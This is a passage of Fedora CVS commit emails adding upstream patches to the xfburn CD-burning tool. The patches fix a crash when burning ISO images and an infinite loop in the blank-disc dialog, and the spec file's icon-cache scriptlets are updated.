+  priv->handler_volchange = g_signal_connect (G_OBJECT (priv->devlist), "volume-change-end", G_CALLBACK (cb_volume_change_end), obj);
   g_signal_connect (G_OBJECT (obj), "response", G_CALLBACK (cb_dialog_response), obj);
-  device = xfburn_device_list_get_current_device (devlist);
+  device = xfburn_device_list_get_current_device (priv->devlist);
 
-  cb_volume_change_end (devlist, TRUE, device, obj);
+  cb_volume_change_end (priv->devlist, TRUE, device, obj);
 
   if (device)
     gtk_widget_set_sensitive (priv->check_dummy, xfburn_device_can_dummy_write (device));
+}
 
-  g_object_unref (G_OBJECT (devlist));
+static void
+xfburn_burn_image_dialog_finalize (GObject *object)
+{
+  XfburnBurnImageDialog *dialog = XFBURN_BURN_IMAGE_DIALOG (object);
+  XfburnBurnImageDialogPrivate *priv = XFBURN_BURN_IMAGE_DIALOG_GET_PRIVATE (dialog);
 
+  g_signal_handler_disconnect (priv->devlist, priv->handler_volchange);
+  g_object_unref (priv->devlist);
+
+  G_OBJECT_CLASS (parent_class)->finalize (object);
 }
 
 /*************/

xfburn-0.4.2-mark-constructor-properties-make-some-constructor_o.patch:
 xfburn-device-box.c  |   40 ++++++++++++++++++++++------------------
 xfburn-device-list.c |    1 +
 2 files changed, 23 insertions(+), 18 deletions(-)

--- NEW FILE xfburn-0.4.2-mark-constructor-properties-make-some-constructor_o.patch ---
diff -dur xfburn-0.4.2.orig/xfburn/xfburn-device-box.c xfburn-0.4.2/xfburn/xfburn-device-box.c
--- xfburn-0.4.2.orig/xfburn/xfburn-device-box.c	2009-07-13 05:24:06.000000000 +0200
+++ xfburn-0.4.2/xfburn/xfburn-device-box.c	2009-10-30 00:03:24.000000000 +0100
@@ -1,6 +1,7 @@
 /* $Id: xfburn-device-box.c 7718 2009-07-13 03:24:04Z squisher $ */
 /*
  * Copyright (c) 2006 Jean-Fran?ois Wauthy (pollux at xfce.org)
+ * Copyright (c) 2008-2009 David Mohr <david at mcbf.net>
  *
  * This program is free software; you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
@@ -104,7 +105,7 @@
 static void xfburn_device_box_get_property (GObject *object, guint prop_id, GValue *value, GParamSpec *pspec);
 static void xfburn_device_box_set_property (GObject *object, guint prop_id, const GValue *value, GParamSpec *pspec);
 
-static guint ask_for_blanking (XfburnDeviceBoxPrivate *priv);
+static gboolean ask_for_blanking (XfburnDeviceBoxPrivate *priv);
 static void status_label_update (XfburnDeviceBoxPrivate *priv);
 static gboolean check_disc_validity (XfburnDeviceBoxPrivate *priv);
 static void refresh_drive_info (XfburnDeviceBox *box, XfburnDevice *device);
@@ -171,15 +172,16 @@
     
   g_object_class_install_property (object_class, PROP_SHOW_WRITERS_ONLY, 
                                    g_param_spec_boolean ("show-writers-only", _("Show writers only"),
-                                                        _("Show writers only"), FALSE, G_PARAM_READWRITE));
+                                                        _("Show writers only"),
+                                                        FALSE, G_PARAM_READWRITE | G_PARAM_CONSTRUCT_ONLY));
   g_object_class_install_property (object_class, PROP_SHOW_SPEED_SELECTION, 
                                    g_param_spec_boolean ("show-speed-selection", _("Show speed selection"),
                                                         _("Show speed selection combo"), 
-                                                        FALSE, G_PARAM_READWRITE));
+                                                        FALSE, G_PARAM_READWRITE | G_PARAM_CONSTRUCT_ONLY));
   g_object_class_install_property (object_class, PROP_SHOW_MODE_SELECTION, 
                                    g_param_spec_boolean ("show-mode-selection", _("Show mode selection"),
                                                         _("Show mode selection combo"), 
-                                                        FALSE, G_PARAM_READWRITE));
+                                                        FALSE, G_PARAM_READWRITE | G_PARAM_CONSTRUCT_ONLY));
   g_object_class_install_property (object_class, PROP_VALID, 
                                    g_param_spec_boolean ("valid", _("Is it a valid combination"),
                                                         _("Is the combination of hardware and disc valid to burn the composition?"), 
@@ -187,11 +189,11 @@
   g_object_class_install_property (object_class, PROP_BLANK_MODE, 
                                    g_param_spec_boolean ("blank-mode", _("Blank mode"),
                                                         _("The blank mode shows different disc status messages than regular mode"), 
-                                                        FALSE, G_PARAM_READWRITE));
+                                                        FALSE, G_PARAM_READWRITE | G_PARAM_CONSTRUCT));
   g_object_class_install_property (object_class, PROP_ACCEPT_ONLY_CD, 
                                    g_param_spec_boolean ("accept-only-cd", _("Accept only CDs as valid discs"),
                                                         _("Accept only CDs as valid discs"), 
-                                                        FALSE, G_PARAM_READWRITE));
+                                                        FALSE, G_PARAM_READWRITE | G_PARAM_CONSTRUCT));
 }
 
 static GObject * 
@@ -256,6 +258,10 @@
   gtk_cell_layout_set_attributes (GTK_CELL_LAYOUT (priv->combo_speed), cell, "text", SPEED_TEXT_COLUMN, NULL);
   gtk_widget_show (priv->combo_speed);
   gtk_box_pack_start (GTK_BOX (priv->hbox_speed_selection), priv->combo_speed, TRUE, TRUE, BORDER);
+  if (priv->show_speed_selection) {
+    gtk_widget_show (priv->hbox_speed_selection);
+    fill_combo_speed (XFBURN_DEVICE_BOX (box), xfburn_device_list_get_current_device (devlist));
+  }
 
   /* mode */
   priv->hbox_mode_selection = gtk_hbox_new (FALSE, 0);
@@ -278,6 +284,11 @@
   g_object_get (G_OBJECT (devlist), "num-burners", &n_burners, NULL);
   gtk_widget_set_sensitive (priv->combo_mode, n_burners > 0);
 
+  if (priv->show_mode_selection) {
+    gtk_widget_show (priv->hbox_mode_selection);
+    fill_combo_mode (XFBURN_DEVICE_BOX (box), xfburn_device_list_get_current_device (devlist));
+  }
+
   /* status label */
   priv->status_label = gtk_label_new ("");
   priv->status_text = "";
@@ -345,19 +356,9 @@
       break;
     case PROP_SHOW_SPEED_SELECTION:
       priv->show_speed_selection = g_value_get_boolean (value);
-      if (priv->show_speed_selection) {
-        gtk_widget_show (priv->hbox_speed_selection);
-        fill_combo_speed (XFBURN_DEVICE_BOX (object), xfburn_device_list_get_current_device (priv->devlist));
-      } else
-        gtk_widget_hide (priv->hbox_speed_selection);
       break;
     case PROP_SHOW_MODE_SELECTION:
       priv->show_mode_selection = g_value_get_boolean (value);
-      if (priv->show_mode_selection) {
-        gtk_widget_show (priv->hbox_mode_selection);
-        fill_combo_mode (XFBURN_DEVICE_BOX (object), xfburn_device_list_get_current_device (priv->devlist));
-      } else
-        gtk_widget_hide (priv->hbox_mode_selection);
       break;
     case PROP_BLANK_MODE:
       priv->blank_mode = g_value_get_boolean (value);
@@ -503,7 +504,7 @@
   g_free (text);
 }
 
-static guint
+static gboolean
 ask_for_blanking (XfburnDeviceBoxPrivate *priv)
 {
   gboolean do_blank;
@@ -511,8 +512,9 @@
   if (priv->have_asked_for_blanking)
     return FALSE;
 
-  gdk_threads_enter ();
   priv->have_asked_for_blanking = TRUE;
+
+  gdk_threads_enter ();
   do_blank = xfburn_ask_yes_no (GTK_MESSAGE_QUESTION, "A full, but erasable disc is in the drive",
                                          "Do you want to blank the disc, so that it can be used for the upcoming burn process?");
 
@@ -544,6 +546,8 @@
   gtk_label_set_text (GTK_LABEL (priv->disc_label), profile_name);
   g_free (profile_name);
 
+  DBG ("blank_mode = %d", priv->blank_mode);
+
   if (!priv->blank_mode) {
     /* for burning */
     switch (profile_no) {
Nur in xfburn-0.4.2/xfburn: xfburn-device-box.c.orig.
diff -dur xfburn-0.4.2.orig/xfburn/xfburn-device-list.c xfburn-0.4.2/xfburn/xfburn-device-list.c
--- xfburn-0.4.2.orig/xfburn/xfburn-device-list.c	2009-07-13 05:24:06.000000000 +0200
+++ xfburn-0.4.2/xfburn/xfburn-device-list.c	2009-10-30 00:03:24.000000000 +0100
@@ -1,6 +1,7 @@
 /* $Id: xfburn-device-list.c 7718 2009-07-13 03:24:04Z squisher $ */
 /*
  * Copyright (c) 2005-2006 Jean-Fran?ois Wauthy (pollux at xfce.org)
+ * Copyright (c) 2008-2009 David Mohr <david at mcbf.net>
  *
  *  This program is free software; you can redistribute it and/or modify
  *  it under the terms of the GNU General Public License as published by
Nur in xfburn-0.4.2/xfburn: xfburn-device-list.c.orig.


Index: xfburn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xfburn/devel/xfburn.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- xfburn.spec	24 Jul 2009 16:21:21 -0000	1.6
+++ xfburn.spec	29 Oct 2009 23:25:50 -0000	1.7
@@ -1,12 +1,19 @@
 Name:           xfburn
 Version:        0.4.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Simple CD burning tool for Xfce
 
 Group:          Applications/Archiving
 License:        GPLv2+
 URL:            http://goodies.xfce.org/projects/applications/%{name}
 Source0:        http://www.xfce.org/archive/src/apps/xfburn/0.4/%{name}-%{version}.tar.bz2
+# fix for https://bugzilla.redhat.com/show_bug.cgi?id=525515
+# http://git.xfce.org/apps/xfburn/commit/?id=78995b7eee0acde27bd0ea41137a7635174d362e
+Patch0:         xfburn-0.4.2-mark-constructor-properties-make-some-constructor_o.patch
+# fix for https://bugzilla.redhat.com/show_bug.cgi?id=525518
+# created from several upstream commits as described in
+# http://bugzilla.xfce.org/show_bug.cgi?id=5678#c23
+Patch1:         xfburn-0.4.2-fix-crash-on-iso-burning.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  libxfcegui4-devel >= 4.4.0 Thunar-devel >= 0.3.0 
@@ -24,6 +31,8 @@ compositions of data to either CD or DVD
 
 %prep
 %setup -q
+%patch0 -p1 -b .mark-constructor-properties
+%patch1 -p1 -b .crash-on-iso-burning
 
 
 %build
@@ -44,20 +53,21 @@ desktop-file-install --vendor ""        
 
 %post
 update-desktop-database &> /dev/null ||:
-touch --no-create %{_datadir}/icons/hicolor
-if [ -x %{_bindir}/gtk-update-icon-cache ]; then
-  %{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
-fi
+touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :
 
 
 %postun
 update-desktop-database &> /dev/null ||:
-touch --no-create %{_datadir}/icons/hicolor
-if [ -x %{_bindir}/gtk-update-icon-cache ]; then
-  %{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
+if [ $1 -eq 0 ] ; then
+    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
+    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
 fi
 
 
+%posttrans
+gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -76,6 +86,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-2
+- Fix infinite loop in blank disk dialog (#525515)
+- Don't crash on burning ISO image (#525518)
+
 * Fri Jul 24 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-1
 - Update to 0.4.2
 



From cwickert at fedoraproject.org  Thu Oct 29 23:33:37 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Thu, 29 Oct 2009 23:33:37 +0000 (UTC)
Subject: rpms/xfburn/F-12 xfburn-0.4.2-fix-crash-on-iso-burning.patch, NONE, 
	1.1
	xfburn-0.4.2-mark-constructor-properties-make-some-constructor_o.patch,
	NONE, 1.1 xfburn.spec, 1.6, 1.7
Message-ID: <20091029233337.2974E11C00E8@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/xfburn/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28657/F-12

Modified Files:
	xfburn.spec 
Added Files:
	xfburn-0.4.2-fix-crash-on-iso-burning.patch 
	xfburn-0.4.2-mark-constructor-properties-make-some-constructor_o.patch 
Log Message:
* Thu Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-2
- Fix infinite loop in blank disk dialog (#525515)
- Don't crash on burning ISO image (#525518)


xfburn-0.4.2-fix-crash-on-iso-burning.patch:
 xfburn-burn-image-dialog.c |   29 +++++++++++++++++++++++------
 1 file changed, 23 insertions(+), 6 deletions(-)

--- NEW FILE xfburn-0.4.2-fix-crash-on-iso-burning.patch ---
diff -dur xfburn-0.4.2.orig/xfburn/xfburn-burn-image-dialog.c xfburn-0.4.2/xfburn/xfburn-burn-image-dialog.c
--- xfburn-0.4.2.orig/xfburn/xfburn-burn-image-dialog.c	2009-07-13 05:24:06.000000000 +0200
+++ xfburn-0.4.2/xfburn/xfburn-burn-image-dialog.c	2009-10-29 23:27:12.000000000 +0100
@@ -66,12 +66,16 @@
 
   GtkWidget *burn_button;
 
+  XfburnDeviceList *devlist;
+  gulong handler_volchange;
+
   ThreadBurnIsoParams *params;
 } XfburnBurnImageDialogPrivate;
 
 /* prototypes */
 static void xfburn_burn_image_dialog_class_init (XfburnBurnImageDialogClass * klass);
 static void xfburn_burn_image_dialog_init (XfburnBurnImageDialog * sp);
+static void xfburn_burn_image_dialog_finalize (GObject *object);
 
 void burn_image_dialog_error (XfburnBurnImageDialog * dialog, const gchar * msg_error);
 static void cb_volume_change_end (XfburnDeviceList *devlist, gboolean device_changed, XfburnDevice *device, XfburnBurnImageDialog * dialog);
@@ -115,8 +119,13 @@
 static void
 xfburn_burn_image_dialog_class_init (XfburnBurnImageDialogClass * klass)
 {
+  GObjectClass *object_class = G_OBJECT_CLASS (klass);
+
   g_type_class_add_private (klass, sizeof (XfburnBurnImageDialogPrivate));
+
   parent_class = g_type_class_peek_parent (klass);
+
+  object_class->finalize     = xfburn_burn_image_dialog_finalize;
 }
 
 static void
@@ -130,7 +139,6 @@
   GtkWidget *frame;
   GtkWidget *vbox;
   GtkWidget *button;
-  XfburnDeviceList *devlist;
   XfburnDevice *device;
 
   gtk_window_set_title (GTK_WINDOW (obj), _("Burn image"));
@@ -208,19 +216,28 @@
   gtk_widget_grab_focus (priv->burn_button);
   gtk_widget_grab_default (priv->burn_button);
 
-  devlist = xfburn_device_list_new ();
+  priv->devlist = xfburn_device_list_new ();
 
-  g_signal_connect (G_OBJECT (devlist), "volume-change-end", G_CALLBACK (cb_volume_change_end), obj);
+  priv->handler_volchange = g_signal_connect (G_OBJECT (priv->devlist), "volume-change-end", G_CALLBACK (cb_volume_change_end), obj);
   g_signal_connect (G_OBJECT (obj), "response", G_CALLBACK (cb_dialog_response), obj);
-  device = xfburn_device_list_get_current_device (devlist);
+  device = xfburn_device_list_get_current_device (priv->devlist);
 
-  cb_volume_change_end (devlist, TRUE, device, obj);
+  cb_volume_change_end (priv->devlist, TRUE, device, obj);
 
   if (device)
     gtk_widget_set_sensitive (priv->check_dummy, xfburn_device_can_dummy_write (device));
+}
 
-  g_object_unref (G_OBJECT (devlist));
+static void
+xfburn_burn_image_dialog_finalize (GObject *object)
+{
+  XfburnBurnImageDialog *dialog = XFBURN_BURN_IMAGE_DIALOG (object);
+  XfburnBurnImageDialogPrivate *priv = XFBURN_BURN_IMAGE_DIALOG_GET_PRIVATE (dialog);
 
+  g_signal_handler_disconnect (priv->devlist, priv->handler_volchange);
+  g_object_unref (priv->devlist);
+
+  G_OBJECT_CLASS (parent_class)->finalize (object);
 }
 
 /*************/

xfburn-0.4.2-mark-constructor-properties-make-some-constructor_o.patch:
 xfburn-device-box.c  |   40 ++++++++++++++++++++++------------------
 xfburn-device-list.c |    1 +
 2 files changed, 23 insertions(+), 18 deletions(-)

--- NEW FILE xfburn-0.4.2-mark-constructor-properties-make-some-constructor_o.patch ---
diff -dur xfburn-0.4.2.orig/xfburn/xfburn-device-box.c xfburn-0.4.2/xfburn/xfburn-device-box.c
--- xfburn-0.4.2.orig/xfburn/xfburn-device-box.c	2009-07-13 05:24:06.000000000 +0200
+++ xfburn-0.4.2/xfburn/xfburn-device-box.c	2009-10-30 00:03:24.000000000 +0100
@@ -1,6 +1,7 @@
 /* $Id: xfburn-device-box.c 7718 2009-07-13 03:24:04Z squisher $ */
 /*
  * Copyright (c) 2006 Jean-Fran?ois Wauthy (pollux at xfce.org)
+ * Copyright (c) 2008-2009 David Mohr <david at mcbf.net>
  *
  * This program is free software; you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
@@ -104,7 +105,7 @@
 static void xfburn_device_box_get_property (GObject *object, guint prop_id, GValue *value, GParamSpec *pspec);
 static void xfburn_device_box_set_property (GObject *object, guint prop_id, const GValue *value, GParamSpec *pspec);
 
-static guint ask_for_blanking (XfburnDeviceBoxPrivate *priv);
+static gboolean ask_for_blanking (XfburnDeviceBoxPrivate *priv);
 static void status_label_update (XfburnDeviceBoxPrivate *priv);
 static gboolean check_disc_validity (XfburnDeviceBoxPrivate *priv);
 static void refresh_drive_info (XfburnDeviceBox *box, XfburnDevice *device);
@@ -171,15 +172,16 @@
     
   g_object_class_install_property (object_class, PROP_SHOW_WRITERS_ONLY, 
                                    g_param_spec_boolean ("show-writers-only", _("Show writers only"),
-                                                        _("Show writers only"), FALSE, G_PARAM_READWRITE));
+                                                        _("Show writers only"),
+                                                        FALSE, G_PARAM_READWRITE | G_PARAM_CONSTRUCT_ONLY));
   g_object_class_install_property (object_class, PROP_SHOW_SPEED_SELECTION, 
                                    g_param_spec_boolean ("show-speed-selection", _("Show speed selection"),
                                                         _("Show speed selection combo"), 
-                                                        FALSE, G_PARAM_READWRITE));
+                                                        FALSE, G_PARAM_READWRITE | G_PARAM_CONSTRUCT_ONLY));
   g_object_class_install_property (object_class, PROP_SHOW_MODE_SELECTION, 
                                    g_param_spec_boolean ("show-mode-selection", _("Show mode selection"),
                                                         _("Show mode selection combo"), 
-                                                        FALSE, G_PARAM_READWRITE));
+                                                        FALSE, G_PARAM_READWRITE | G_PARAM_CONSTRUCT_ONLY));
   g_object_class_install_property (object_class, PROP_VALID, 
                                    g_param_spec_boolean ("valid", _("Is it a valid combination"),
                                                         _("Is the combination of hardware and disc valid to burn the composition?"), 
@@ -187,11 +189,11 @@
   g_object_class_install_property (object_class, PROP_BLANK_MODE, 
                                    g_param_spec_boolean ("blank-mode", _("Blank mode"),
                                                         _("The blank mode shows different disc status messages than regular mode"), 
-                                                        FALSE, G_PARAM_READWRITE));
+                                                        FALSE, G_PARAM_READWRITE | G_PARAM_CONSTRUCT));
   g_object_class_install_property (object_class, PROP_ACCEPT_ONLY_CD, 
                                    g_param_spec_boolean ("accept-only-cd", _("Accept only CDs as valid discs"),
                                                         _("Accept only CDs as valid discs"), 
-                                                        FALSE, G_PARAM_READWRITE));
+                                                        FALSE, G_PARAM_READWRITE | G_PARAM_CONSTRUCT));
 }
 
 static GObject * 
@@ -256,6 +258,10 @@
   gtk_cell_layout_set_attributes (GTK_CELL_LAYOUT (priv->combo_speed), cell, "text", SPEED_TEXT_COLUMN, NULL);
   gtk_widget_show (priv->combo_speed);
   gtk_box_pack_start (GTK_BOX (priv->hbox_speed_selection), priv->combo_speed, TRUE, TRUE, BORDER);
+  if (priv->show_speed_selection) {
+    gtk_widget_show (priv->hbox_speed_selection);
+    fill_combo_speed (XFBURN_DEVICE_BOX (box), xfburn_device_list_get_current_device (devlist));
+  }
 
   /* mode */
   priv->hbox_mode_selection = gtk_hbox_new (FALSE, 0);
@@ -278,6 +284,11 @@
   g_object_get (G_OBJECT (devlist), "num-burners", &n_burners, NULL);
   gtk_widget_set_sensitive (priv->combo_mode, n_burners > 0);
 
+  if (priv->show_mode_selection) {
+    gtk_widget_show (priv->hbox_mode_selection);
+    fill_combo_mode (XFBURN_DEVICE_BOX (box), xfburn_device_list_get_current_device (devlist));
+  }
+
   /* status label */
   priv->status_label = gtk_label_new ("");
   priv->status_text = "";
@@ -345,19 +356,9 @@
       break;
     case PROP_SHOW_SPEED_SELECTION:
       priv->show_speed_selection = g_value_get_boolean (value);
-      if (priv->show_speed_selection) {
-        gtk_widget_show (priv->hbox_speed_selection);
-        fill_combo_speed (XFBURN_DEVICE_BOX (object), xfburn_device_list_get_current_device (priv->devlist));
-      } else
-        gtk_widget_hide (priv->hbox_speed_selection);
       break;
     case PROP_SHOW_MODE_SELECTION:
       priv->show_mode_selection = g_value_get_boolean (value);
-      if (priv->show_mode_selection) {
-        gtk_widget_show (priv->hbox_mode_selection);
-        fill_combo_mode (XFBURN_DEVICE_BOX (object), xfburn_device_list_get_current_device (priv->devlist));
-      } else
-        gtk_widget_hide (priv->hbox_mode_selection);
       break;
     case PROP_BLANK_MODE:
       priv->blank_mode = g_value_get_boolean (value);
@@ -503,7 +504,7 @@
   g_free (text);
 }
 
-static guint
+static gboolean
 ask_for_blanking (XfburnDeviceBoxPrivate *priv)
 {
   gboolean do_blank;
@@ -511,8 +512,9 @@
   if (priv->have_asked_for_blanking)
     return FALSE;
 
-  gdk_threads_enter ();
   priv->have_asked_for_blanking = TRUE;
+
+  gdk_threads_enter ();
   do_blank = xfburn_ask_yes_no (GTK_MESSAGE_QUESTION, "A full, but erasable disc is in the drive",
                                          "Do you want to blank the disc, so that it can be used for the upcoming burn process?");
 
@@ -544,6 +546,8 @@
   gtk_label_set_text (GTK_LABEL (priv->disc_label), profile_name);
   g_free (profile_name);
 
+  DBG ("blank_mode = %d", priv->blank_mode);
+
   if (!priv->blank_mode) {
     /* for burning */
     switch (profile_no) {
Nur in xfburn-0.4.2/xfburn: xfburn-device-box.c.orig.
diff -dur xfburn-0.4.2.orig/xfburn/xfburn-device-list.c xfburn-0.4.2/xfburn/xfburn-device-list.c
--- xfburn-0.4.2.orig/xfburn/xfburn-device-list.c	2009-07-13 05:24:06.000000000 +0200
+++ xfburn-0.4.2/xfburn/xfburn-device-list.c	2009-10-30 00:03:24.000000000 +0100
@@ -1,6 +1,7 @@
 /* $Id: xfburn-device-list.c 7718 2009-07-13 03:24:04Z squisher $ */
 /*
  * Copyright (c) 2005-2006 Jean-Fran?ois Wauthy (pollux at xfce.org)
+ * Copyright (c) 2008-2009 David Mohr <david at mcbf.net>
  *
  *  This program is free software; you can redistribute it and/or modify
  *  it under the terms of the GNU General Public License as published by
Nur in xfburn-0.4.2/xfburn: xfburn-device-list.c.orig.


Index: xfburn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xfburn/F-12/xfburn.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- xfburn.spec	24 Jul 2009 16:21:21 -0000	1.6
+++ xfburn.spec	29 Oct 2009 23:33:35 -0000	1.7
@@ -1,12 +1,19 @@
 Name:           xfburn
 Version:        0.4.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Simple CD burning tool for Xfce
 
 Group:          Applications/Archiving
 License:        GPLv2+
 URL:            http://goodies.xfce.org/projects/applications/%{name}
 Source0:        http://www.xfce.org/archive/src/apps/xfburn/0.4/%{name}-%{version}.tar.bz2
+# fix for https://bugzilla.redhat.com/show_bug.cgi?id=525515
+# http://git.xfce.org/apps/xfburn/commit/?id=78995b7eee0acde27bd0ea41137a7635174d362e
+Patch0:         xfburn-0.4.2-mark-constructor-properties-make-some-constructor_o.patch
+# fix for https://bugzilla.redhat.com/show_bug.cgi?id=525518
+# created from several upstream commits as described in
+# http://bugzilla.xfce.org/show_bug.cgi?id=5678#c23
+Patch1:         xfburn-0.4.2-fix-crash-on-iso-burning.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  libxfcegui4-devel >= 4.4.0 Thunar-devel >= 0.3.0 
@@ -24,6 +31,8 @@ compositions of data to either CD or DVD
 
 %prep
 %setup -q
+%patch0 -p1 -b .mark-constructor-properties
+%patch1 -p1 -b .crash-on-iso-burning
 
 
 %build
@@ -44,20 +53,21 @@ desktop-file-install --vendor ""        
 
 %post
 update-desktop-database &> /dev/null ||:
-touch --no-create %{_datadir}/icons/hicolor
-if [ -x %{_bindir}/gtk-update-icon-cache ]; then
-  %{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
-fi
+touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :
 
 
 %postun
 update-desktop-database &> /dev/null ||:
-touch --no-create %{_datadir}/icons/hicolor
-if [ -x %{_bindir}/gtk-update-icon-cache ]; then
-  %{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
+if [ $1 -eq 0 ] ; then
+    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
+    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
 fi
 
 
+%posttrans
+gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -76,6 +86,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-2
+- Fix infinite loop in blank disk dialog (#525515)
+- Don't crash on burning ISO image (#525518)
+
 * Fri Jul 24 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-1
 - Update to 0.4.2
 



From cwickert at fedoraproject.org  Thu Oct 29 23:33:37 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Thu, 29 Oct 2009 23:33:37 +0000 (UTC)
Subject: rpms/xfburn/F-11 xfburn-0.4.2-fix-crash-on-iso-burning.patch, NONE, 
	1.1
	xfburn-0.4.2-mark-constructor-properties-make-some-constructor_o.patch,
	NONE, 1.1 xfburn.spec, 1.6, 1.7
Message-ID: <20091029233337.2D55D11C029D@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/xfburn/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28657/F-11

Modified Files:
	xfburn.spec 
Added Files:
	xfburn-0.4.2-fix-crash-on-iso-burning.patch 
	xfburn-0.4.2-mark-constructor-properties-make-some-constructor_o.patch 
Log Message:
* Thu Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-2
- Fix infinite loop in blank disk dialog (#525515)
- Don't crash on burning ISO image (#525518)


xfburn-0.4.2-fix-crash-on-iso-burning.patch:
 xfburn-burn-image-dialog.c |   29 +++++++++++++++++++++++------
 1 file changed, 23 insertions(+), 6 deletions(-)

--- NEW FILE xfburn-0.4.2-fix-crash-on-iso-burning.patch ---
diff -dur xfburn-0.4.2.orig/xfburn/xfburn-burn-image-dialog.c xfburn-0.4.2/xfburn/xfburn-burn-image-dialog.c
--- xfburn-0.4.2.orig/xfburn/xfburn-burn-image-dialog.c	2009-07-13 05:24:06.000000000 +0200
+++ xfburn-0.4.2/xfburn/xfburn-burn-image-dialog.c	2009-10-29 23:27:12.000000000 +0100
@@ -66,12 +66,16 @@
 
   GtkWidget *burn_button;
 
+  XfburnDeviceList *devlist;
+  gulong handler_volchange;
+
   ThreadBurnIsoParams *params;
 } XfburnBurnImageDialogPrivate;
 
 /* prototypes */
 static void xfburn_burn_image_dialog_class_init (XfburnBurnImageDialogClass * klass);
 static void xfburn_burn_image_dialog_init (XfburnBurnImageDialog * sp);
+static void xfburn_burn_image_dialog_finalize (GObject *object);
 
 void burn_image_dialog_error (XfburnBurnImageDialog * dialog, const gchar * msg_error);
 static void cb_volume_change_end (XfburnDeviceList *devlist, gboolean device_changed, XfburnDevice *device, XfburnBurnImageDialog * dialog);
@@ -115,8 +119,13 @@
 static void
 xfburn_burn_image_dialog_class_init (XfburnBurnImageDialogClass * klass)
 {
+  GObjectClass *object_class = G_OBJECT_CLASS (klass);
+
   g_type_class_add_private (klass, sizeof (XfburnBurnImageDialogPrivate));
+
   parent_class = g_type_class_peek_parent (klass);
+
+  object_class->finalize     = xfburn_burn_image_dialog_finalize;
 }
 
 static void
@@ -130,7 +139,6 @@
   GtkWidget *frame;
   GtkWidget *vbox;
   GtkWidget *button;
-  XfburnDeviceList *devlist;
   XfburnDevice *device;
 
   gtk_window_set_title (GTK_WINDOW (obj), _("Burn image"));
@@ -208,19 +216,28 @@
   gtk_widget_grab_focus (priv->burn_button);
   gtk_widget_grab_default (priv->burn_button);
 
-  devlist = xfburn_device_list_new ();
+  priv->devlist = xfburn_device_list_new ();
 
-  g_signal_connect (G_OBJECT (devlist), "volume-change-end", G_CALLBACK (cb_volume_change_end), obj);
+  priv->handler_volchange = g_signal_connect (G_OBJECT (priv->devlist), "volume-change-end", G_CALLBACK (cb_volume_change_end), obj);
   g_signal_connect (G_OBJECT (obj), "response", G_CALLBACK (cb_dialog_response), obj);
-  device = xfburn_device_list_get_current_device (devlist);
+  device = xfburn_device_list_get_current_device (priv->devlist);
 
-  cb_volume_change_end (devlist, TRUE, device, obj);
+  cb_volume_change_end (priv->devlist, TRUE, device, obj);
 
   if (device)
     gtk_widget_set_sensitive (priv->check_dummy, xfburn_device_can_dummy_write (device));
+}
 
-  g_object_unref (G_OBJECT (devlist));
+static void
+xfburn_burn_image_dialog_finalize (GObject *object)
+{
+  XfburnBurnImageDialog *dialog = XFBURN_BURN_IMAGE_DIALOG (object);
+  XfburnBurnImageDialogPrivate *priv = XFBURN_BURN_IMAGE_DIALOG_GET_PRIVATE (dialog);
 
+  g_signal_handler_disconnect (priv->devlist, priv->handler_volchange);
+  g_object_unref (priv->devlist);
+
+  G_OBJECT_CLASS (parent_class)->finalize (object);
 }
 
 /*************/

xfburn-0.4.2-mark-constructor-properties-make-some-constructor_o.patch:
 xfburn-device-box.c  |   40 ++++++++++++++++++++++------------------
 xfburn-device-list.c |    1 +
 2 files changed, 23 insertions(+), 18 deletions(-)

--- NEW FILE xfburn-0.4.2-mark-constructor-properties-make-some-constructor_o.patch ---
diff -dur xfburn-0.4.2.orig/xfburn/xfburn-device-box.c xfburn-0.4.2/xfburn/xfburn-device-box.c
--- xfburn-0.4.2.orig/xfburn/xfburn-device-box.c	2009-07-13 05:24:06.000000000 +0200
+++ xfburn-0.4.2/xfburn/xfburn-device-box.c	2009-10-30 00:03:24.000000000 +0100
@@ -1,6 +1,7 @@
